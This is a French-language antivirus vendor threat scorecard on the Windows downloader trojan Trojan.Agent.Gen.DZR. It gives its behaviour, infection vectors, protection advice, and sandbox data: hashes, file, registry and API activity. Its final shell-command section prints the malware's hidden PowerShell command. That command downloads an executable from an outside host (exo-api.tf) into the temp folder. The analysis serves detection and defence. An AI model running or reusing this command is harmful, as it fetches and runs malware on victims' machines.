Trojan.Agent.Gen.DZR
Fiche d'évaluation menace
Tableau de bord des menaces EnigmaSoft
EnigmaSoft Threat Scorecards sont des rapports d'évaluation de différentes menaces de logiciels malveillants qui ont été collectés et analysés par notre équipe de recherche. Les tableaux de bord des menaces EnigmaSoft évaluent et classent les menaces à l'aide de plusieurs mesures, notamment les facteurs de risque réels et potentiels, les tendances, la fréquence, la prévalence et la persistance. Les cartes de pointage EnigmaSoft Threat sont mises à jour régulièrement sur la base de nos données et mesures de recherche et sont utiles pour un large éventail d'utilisateurs d'ordinateurs, des utilisateurs finaux à la recherche de solutions pour supprimer les logiciels malveillants de leurs systèmes aux experts en sécurité analysant les menaces.
Les tableaux de bord des menaces d'EnigmaSoft affichent une variété d'informations utiles, notamment :
Classement de popularité : Le classement d'une menace particulière dans la base de données de menaces d'EnigmaSoft.
Niveau de gravité : le niveau de gravité déterminé d'un objet, représenté numériquement, sur la base de notre processus de modélisation des risques et de nos recherches, comme expliqué dans nos critères d'évaluation des menaces .
Ordinateurs infectés : le nombre de cas confirmés et suspects d'une menace particulière détectée sur des ordinateurs infectés, tel que rapporté par SpyHunter.
Voir aussi Critères d'évaluation des menaces .
| Classement de popularité : | 19,710 |
| Niveau de menace: | 80 % (Haute) |
| Vu la première fois: | July 18, 2026 |
| Vu pour la dernière fois : | September 1, 2026 |
| Systèmes d'exploitation concernés: | Windows |
Trojan.Agent.Gen.DZR est un cheval de Troie dangereux ciblant les ordinateurs Windows. Classé comme présentant un niveau de danger élevé, ce logiciel malveillant est conçu pour s'infiltrer discrètement dans les systèmes, exécuter du code malveillant en arrière-plan et ouvrir la voie à d'autres compromissions. Il a été observé actif ces derniers mois et son comportement est similaire à celui d'autres chevaux de Troie génériques téléchargeurs couramment utilisés pour déployer des charges utiles malveillantes supplémentaires sur les machines infectées.
Table des matières
Que fait Trojan.Agent.Gen.DZR ?
Une fois actif sur un système, Trojan.Agent.Gen.DZR s'exécute silencieusement en arrière-plan, sans fenêtre ni signe apparent, ce qui le rend difficile à détecter pour un utilisateur lambda. L'analyse de son comportement révèle qu'il repose essentiellement sur des commandes PowerShell cachées, exécutées via l'invite de commandes Windows, pour télécharger discrètement des fichiers supplémentaires depuis des serveurs distants vers l'ordinateur infecté. Ces fichiers téléchargés sont généralement enregistrés dans des dossiers temporaires et peuvent servir à installer d'autres composants malveillants.
Le cheval de Troie communique également avec des serveurs distants via le réseau, utilisant les fonctions standard de connexion Internet pour envoyer et recevoir des données. Cela suggère qu'il peut transmettre des informations aux attaquants ou télécharger de nouvelles instructions et charges utiles. Il collecte des informations de base sur l'ordinateur, telles que le nom d'utilisateur, le nom de l'ordinateur et la configuration réseau, ce qui peut aider les attaquants à adapter leurs attaques ou à confirmer une infection réussie. Le logiciel malveillant utilise également des techniques courantes pour échapper à la détection et à l'analyse, comme la vérification de la présence d'outils de débogage et la manipulation de sa propre mémoire. Cette combinaison de furtivité, de communication à distance et de capacité à télécharger et exécuter d'autres logiciels malveillants en fait une menace sérieuse, car elle peut permettre aux pirates d'obtenir un contrôle étendu sur le système compromis.
Comment cela se retrouve généralement sur les ordinateurs
Le cheval de Troie Trojan.Agent.Gen.DZR se propage généralement par des moyens trompeurs plutôt qu'en exploitant une faille spécifique. Les vecteurs d'infection courants pour ce type de menace incluent les logiciels téléchargés depuis des sites web non fiables ou malveillants, les programmes d'installation groupés et les pièces jointes d'e-mails déguisées en fichiers inoffensifs tels que des exécutables, des images ou des fichiers vidéo. Dans certains cas, les chevaux de Troie de ce type profitent de vulnérabilités système non corrigées pour s'installer à l'insu de l'utilisateur. Le processus d'installation étant conçu pour être silencieux, les victimes ne remarquent souvent rien de nouveau sur leur ordinateur.
Risques pour l’utilisateur
Une fois installé, Trojan.Agent.Gen.DZR expose l'utilisateur à des risques importants. Sa capacité à télécharger et exécuter discrètement des fichiers supplémentaires lui permet de servir de passerelle pour d'autres logiciels malveillants, tels que des logiciels espions, des rançongiciels ou des outils d'accès à distance. Ses fonctionnalités de collecte d'informations soulèvent des inquiétudes quant au respect de la vie privée, tandis que ses capacités de communication réseau suggèrent que des attaquants pourraient donner des ordres à distance ou exfiltrer des données. En définitive, une machine infectée ne peut plus être considérée comme fiable ni sécurisée.
Signes d’infection
Ce cheval de Troie étant conçu pour fonctionner furtivement, les symptômes visibles sont souvent minimes. Les utilisateurs peuvent remarquer une activité réseau inattendue, des processus inhabituels ou des fenêtres PowerShell qui s'affichent brièvement à l'écran, un ralentissement du système ou l'apparition de fichiers inconnus dans les dossiers temporaires. Les alertes des logiciels de sécurité signalant une activité suspecte sont souvent l'indicateur le plus fiable d'une infection.
Comment rester protégé
Pour réduire le risque d'infection, il est conseillé d'éviter d'ouvrir les pièces jointes provenant d'expéditeurs inconnus ou non vérifiés, en particulier les fichiers exécutables dissimulés sous forme de documents ou d'images. Maintenir à jour le système d'exploitation Windows et les logiciels installés contribue à combler les failles de sécurité souvent exploitées par les chevaux de Troie. Télécharger des logiciels uniquement depuis des sources officielles et fiables, éviter les contenus piratés et effectuer des sauvegardes régulières des données importantes constituent également de bonnes pratiques de protection. L'utilisation d'un logiciel de sécurité fiable et à jour, ainsi que la vigilance face aux demandes ou téléchargements inattendus, contribuent grandement à protéger les systèmes contre les menaces telles que Trojan.Agent.Gen.DZR.
Bulletin d'analyse
Informations générales
| Nom de famille : | Trojan.Agent.Gen.DZR |
|---|---|
| Statut de la signature : | No Signature |
Échantillons connus
Échantillons connus
Cette section répertorie d'autres exemples de fichiers que l'on pense être associés à cette famille.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Taille du fichier:
408.06 KB 408064 octets
|
Attributs des exécutables portables Windows
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Caractéristiques du fichier
- GetConsoleWindow
- No Version Info
- x64
Informations sur le bloc
Informations sur le bloc
Lors de l'analyse, EnigmaSoft segmente les échantillons de fichiers en blocs logiques afin de les classer et de les comparer à d'autres échantillons. Ces blocs permettent de générer des règles de détection de logiciels malveillants et de regrouper les échantillons de fichiers en familles en fonction du code source partagé, des fonctionnalités et d'autres attributs et caractéristiques distinctifs. Cette section présente un résumé de ces données de bloc, ainsi que leur classification par EnigmaSoft. Une représentation visuelle des données de bloc est également affichée, le cas échéant.| Nombre total de blocs : | 1,065 |
|---|---|
| Blocages potentiellement malveillants : | 186 |
| Blocs autorisés : | 826 |
| Blocs inconnus : | 53 |
Carte visuelle
? - Bloc inconnu
x - Blocage potentiellement malveillant
Familles similaires
Familles similaires
Cette section répertorie d'autres familles de logiciels malveillants présentant des similitudes avec celle-ci, d'après l'analyse d'EnigmaSoft. De nombreuses familles de logiciels malveillants sont créées à partir des mêmes kits d'outils et utilisent les mêmes techniques d'encapsulation et de chiffrement, tout en étendant leurs fonctionnalités de manière unique. Les familles similaires peuvent également partager le même code source, les mêmes attributs, les mêmes icônes, les mêmes sous-composants, les mêmes signatures numériques compromises ou invalides, ainsi que les mêmes caractéristiques réseau. Les chercheurs exploitent ces similitudes pour trier rapidement et efficacement les échantillons de fichiers et étendre les règles de détection des logiciels malveillants.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
Fichiers modifiés
Fichiers modifiés
Cette section répertorie les fichiers créés, modifiés, déplacés et/ou supprimés par les échantillons de cette famille. L'activité du système de fichiers peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants au sein du système d'exploitation.| Déposer | Attributs |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Modifications du registre
Modifications du registre
Cette section répertorie les clés et valeurs de registre créées, modifiées et/ou supprimées par les échantillons de cette famille. L'activité du registre Windows peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants. De plus, ces derniers créent souvent des valeurs de registre pour pouvoir démarrer automatiquement et persister indéfiniment après une infection initiale du système.| Clé::Valeur | Données | Nom de l'API |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Utilisation de l’API Windows
Utilisation de l'API Windows
Cette section répertorie les appels d'API Windows utilisés par les exemples de cette famille. L'analyse de l'utilisation des API Windows est un outil précieux permettant d'identifier les activités malveillantes, telles que l'enregistrement des frappes au clavier, l'élévation de privilèges, le chiffrement et l'exfiltration de données, l'interférence avec les logiciels antivirus et la manipulation des requêtes réseau.| Catégorie | API |
|---|---|
| Syscall Use |
Show 90 more
31 articles supplémentaires ne sont pas affichés ci-dessus. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Exécution de commandes Shell
Exécution de commandes Shell
Cette section répertorie les commandes de l'interpréteur de commandes Windows exécutées par les échantillons de cette famille. Ces commandes sont fréquemment utilisées par les logiciels malveillants à des fins malveillantes et peuvent servir à élever les privilèges d'administrateur, télécharger et exécuter d'autres logiciels malveillants, exploiter des vulnérabilités, collecter et exfiltrer des données, et dissimuler des activités malveillantes.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|